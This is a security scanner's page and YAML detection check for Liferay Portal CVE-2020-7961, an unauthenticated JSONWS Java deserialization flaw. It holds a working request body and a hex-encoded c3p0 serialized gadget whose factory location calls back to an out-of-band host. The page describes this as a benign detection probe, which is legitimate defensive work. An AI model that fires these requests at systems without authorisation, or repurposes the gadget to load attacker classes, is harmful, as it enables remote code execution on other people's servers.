Liferay — 1 vulnerability check
noctis ships 1 vulnerability check for Liferay, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Liferay Portal unauthenticated JSONWS Java deserialization RCE
| CVE | CVE-2020-7961 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/liferay/CVE-2020-7961.yaml |
Liferay Portal before 7.2.1 CE GA2 lets an unauthenticated JSON web service call name the Java class of an Object parameter. The test calls /api/jsonws/expandocolumn/update-column with defaultData typed as the c3p0 WrapperConnectionPoolDataSource and a userOverridesAsString value whose hex is a per-run marker, not a serialized object. A vulnerable portal instantiates that class and hands the bytes to its deserializer, which rejects them: the JSON error then carries c3p0's "Failed to parse stringified userOverrides" message with the marker. A fixed portal answers that the class is not allowed to be instantiated. With OOB enabled, a second request carries a real serialized c3p0 reference whose factory location is the scanner's callback URL; a vulnerable portal deserializes it and fetches that URL over HTTP. Nothing is loaded or executed (the callback serves no class) and nothing is written on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /api/jsonws/expandocolumn/update-columnwith a crafted body - Checks
inband.bodyforFailed to parse stringified userOverrides→ finding QoD 75: Unauthenticated JSONWS update-column instantiated com.mchange.v2.c3p0.WrapperConnectionPoolDataSource and passed this run's bytes (HexAscii… - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /api/jsonws/expandocolumn/update-columnwith a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Liferay JSONWS deserialized a serialized c3p0 reference sent unauthenticated to /api/jsonws/expandocolumn/update-column and fetched its fac…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2020-7961
- https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
- https://www.synacktiv.com/en/publications/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html
- https://github.com/vulhub/vulhub/tree/master/liferay-portal/CVE-2020-7961
Feed source — tests/vulnerabilities/liferay/CVE-2020-7961.yaml
uid: 1512704a-86ab-48f1-a1e5-c71a6b99eb04
name: "Liferay Portal unauthenticated JSONWS Java deserialization RCE (CVE-2020-7961)"
description: |
Liferay Portal before 7.2.1 CE GA2 lets an unauthenticated JSON web service
call name the Java class of an Object parameter. The test calls
/api/jsonws/expandocolumn/update-column with defaultData typed as the c3p0
WrapperConnectionPoolDataSource and a userOverridesAsString value whose hex is
a per-run marker, not a serialized object. A vulnerable portal instantiates
that class and hands the bytes to its deserializer, which rejects them: the
JSON error then carries c3p0's "Failed to parse stringified userOverrides"
message with the marker. A fixed portal answers that the class is not
allowed to be instantiated. With OOB enabled, a second request carries a
real serialized c3p0 reference whose factory location is the scanner's
callback URL; a vulnerable portal deserializes it and fetches that URL over
HTTP. Nothing is loaded or executed (the callback serves no class) and
nothing is written on the target.
category: rce
cves: [CVE-2020-7961]
cvss: 9.8
severity: critical
confidence_base: 0.30
tags:
- liferay
- jsonws
- deserialization
- rce
- intrusive
- oob
- kev
services:
- http
- https
author: noctis
version: "3.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2020-7961"
- "https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html"
- "https://www.synacktiv.com/en/publications/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html"
- "https://github.com/vulhub/vulhub/tree/master/liferay-portal/CVE-2020-7961"
# CVE-2020-7961 — Liferay JSONWS lets the caller type an Object parameter
# ("defaultData:<class>={json}"), instantiates that class and sets its bean
# properties from the JSON. c3p0's WrapperConnectionPoolDataSource deserializes
# whatever "userOverridesAsString" = "HexAsciiSerializedMap:<hex>;" carries
# (C3P0ImplUtils.parseUserOverridesAsString -> ObjectInputStream). 7.2.1 GA2
# added a class whitelist (JSONWebServiceActionImpl._checkTypeIsAssignable,
# property jsonws.web.service.parameter.type.whitelist.class.names).
#
# Both branches below were replayed against Liferay's own binding code
# (JSONWebServiceActionParameters + JSONWebServiceActionImpl + JSONFactoryImpl
# from portal-impl.jar, c3p0 0.9.5.3, Zulu 8 — all taken from the 7.2.0 GA1 and
# 7.2.1 GA2 images) and the reply body rendered with the same
# JSONFactoryUtil.serializeThrowable that JSONWebServiceServiceAction uses:
# 7.2.0 GA1: 500 {"exception":"<--- java.beans.PropertyVetoException: Failed to
# parse stringified userOverrides. HexAsciiSerializedMap:<hex>;",...}
# + the gadget's HTTP GET on the OOB URL
# 7.2.1 GA2: 500 {"exception":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
# is not allowed to be instantiated",...}, no callback.
# Guests reach the binding: JSONAction.checkAuthToken skips the CSRF check for
# non-FORM requests under an AccessControlContext, and the service's own
# permission check runs only after parameter binding.
#
# Older releases of this feed required a 200 reflection of a bogus JSONWS path
# (real Liferay answers 404, and fixed releases reflect it the same way) and
# sent "HexAsciiSerializedMap:aced0005:ldap://..." which is not a serialized
# object — neither fired on a real target (#2452).
steps:
# ── In-band (QoD 75): the attacker-typed class reaches c3p0's deserializer ──
# The hex is the ASCII of a per-run marker, so ObjectInputStream rejects the
# header (StreamCorruptedException) before reading anything: no object is
# built. Only a portal that instantiated the requested class can answer with
# c3p0's own parse error quoting our marker.
- id: mint-marker
action: script
code: 'hexstr("NOCTIS" + rand_hex(12))'
store_as: markhex
- id: inband-probe
action: http_request
method: POST
path: "/api/jsonws/expandocolumn/update-column"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "columnId=1&name=noctis&type=1&defaultData%3Acom.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3A{{markhex}}%3B%22%7D"
store_as: inband
- id: inband-match
action: match
source: inband.body
pattern: "Failed to parse stringified userOverrides"
condition: 'inband.body.contains("Failed to parse stringified userOverrides. HexAsciiSerializedMap:" + markhex + ";")'
on_match:
finding:
confidence_delta: 0.45 # 0.30 + 0.45 = 0.75
qod: 75
evidence: "Unauthenticated JSONWS update-column instantiated com.mchange.v2.c3p0.WrapperConnectionPoolDataSource and passed this run's bytes (HexAsciiSerializedMap:{{markhex}}) to its deserializer; a fixed portal refuses the class. Reply: {{inband.body}}"
# ── OOB (QoD 97): a real serialized c3p0 reference fetches our URL ─────────
# c3p0 PoolBackedDataSource whose connectionPoolDataSource is a
# ReferenceIndirector$ReferenceSerialized holding a javax.naming.Reference
# (classFactory = random absent class, classFactoryLocation = OOB URL).
# readObject -> ReferenceableUtils.referenceToObject -> URLClassLoader on that
# URL -> Class.forName: the location has no trailing "/", so the loader GETs
# the URL itself as a jar (lands on /<oob_token>), finds no class and throws.
# Generated with c3p0 0.9.5.3's own writeObject; the two strings are spliced
# at scan time (TC_STRING 0x74 + u16 length). The trailing 71007e0016 is the
# back-reference className -> classFactory string.
# Only sent to a JSONWS-shaped reply ({"exception":...}): every Liferay
# branch answers the in-band probe that way, other servers are left alone.
- id: build-gadget
action: script
condition: 'oob_enabled && inband.body.contains("\"exception\":")'
code: |
let pre = "aced000573720028636f6d2e6d6368616e67652e76322e633370302e506f6f6c4261636b656444617461536f75726365de22cd6cc7ff7fa802000078720035636f6d2e6d6368616e67652e76322e633370302e696d706c2e4162737472616374506f6f6c"
+ "4261636b656444617461536f75726365000000000000000103000078720031636f6d2e6d6368616e67652e76322e633370302e696d706c2e506f6f6c4261636b656444617461536f757263654261736500000000000000010300084900106e756d48656c"
+ "706572546872656164734c0018636f6e6e656374696f6e506f6f6c44617461536f757263657400244c6a617661782f73716c2f436f6e6e656374696f6e506f6f6c44617461536f757263653b4c000e64617461536f757263654e616d657400124c6a6176"
+ "612f6c616e672f537472696e673b4c000a657874656e73696f6e7374000f4c6a6176612f7574696c2f4d61703b4c0014666163746f7279436c6173734c6f636174696f6e71007e00044c000d6964656e74697479546f6b656e71007e00044c0003706373"
+ "7400224c6a6176612f6265616e732f50726f70657274794368616e6765537570706f72743b4c00037663737400224c6a6176612f6265616e732f5665746f61626c654368616e6765537570706f72743b7870770200017372003d636f6d2e6d6368616e67"
+ "652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c00"
+ "03656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e000a4c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e67"
+ "2e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f727971007e00044c0014636c617373466163746f72794c6f636174696f6e71007e00044c00"
+ "09636c6173734e616d6571007e00047870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e7444617461740013"
+ "5b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a7070707070707070707078";
let cls = "Noctis" + rand_hex(10);
let loc = "http://" + oob_host + ":" + oob_port.to_string() + "/" + oob_token;
pre + "74" + p16be(strlen(cls)) + hexstr(cls) + "74" + p16be(strlen(loc)) + hexstr(loc)
+ "71007e001670707070770400000000787702000178"
store_as: gadget
- id: oob-exploit
action: http_request
method: POST
path: "/api/jsonws/expandocolumn/update-column"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "columnId=1&name=noctis&type=1&defaultData%3Acom.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3A{{gadget}}%3B%22%7D"
store_as: exploit_resp
condition: 'oob_enabled && inband.body.contains("\"exception\":")'
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
store_as: oob_result
condition: 'oob_enabled && inband.body.contains("\"exception\":")'
on_success:
finding:
confidence_delta: 0.65 # 0.30 + 0.65 = 0.95
qod: 97
evidence: "Liferay JSONWS deserialized a serialized c3p0 reference sent unauthenticated to /api/jsonws/expandocolumn/update-column and fetched its factory location (the scanner's callback URL). Callback: {{oob_result.body}}"
stop: true